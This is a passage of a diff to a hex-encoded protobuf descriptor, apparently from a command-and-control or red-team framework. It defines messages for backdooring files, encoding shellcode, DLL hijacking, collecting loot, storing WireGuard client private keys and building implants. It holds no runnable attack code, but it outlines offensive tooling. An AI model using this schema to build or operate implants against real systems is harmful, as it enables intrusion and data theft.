0x68, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, - 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, - 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, - 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, - 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, - 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, - 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, - 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, - 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, + 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, + 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, + 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, + 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, + 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, + 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, + 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, + 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, + 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, + 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, + 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, + 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, + 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, + 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, + 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, + 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, + 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, + 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, + 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, + 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, + 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, + 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, + 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, + 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, + 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, + 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, + 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, + 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, + 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, + 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, + 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, + 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, + 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, + 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, - 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, - 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, - 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, - 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, - 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, - 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, - 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, - 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, - 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, - 0x67, 0x65, 0x74, 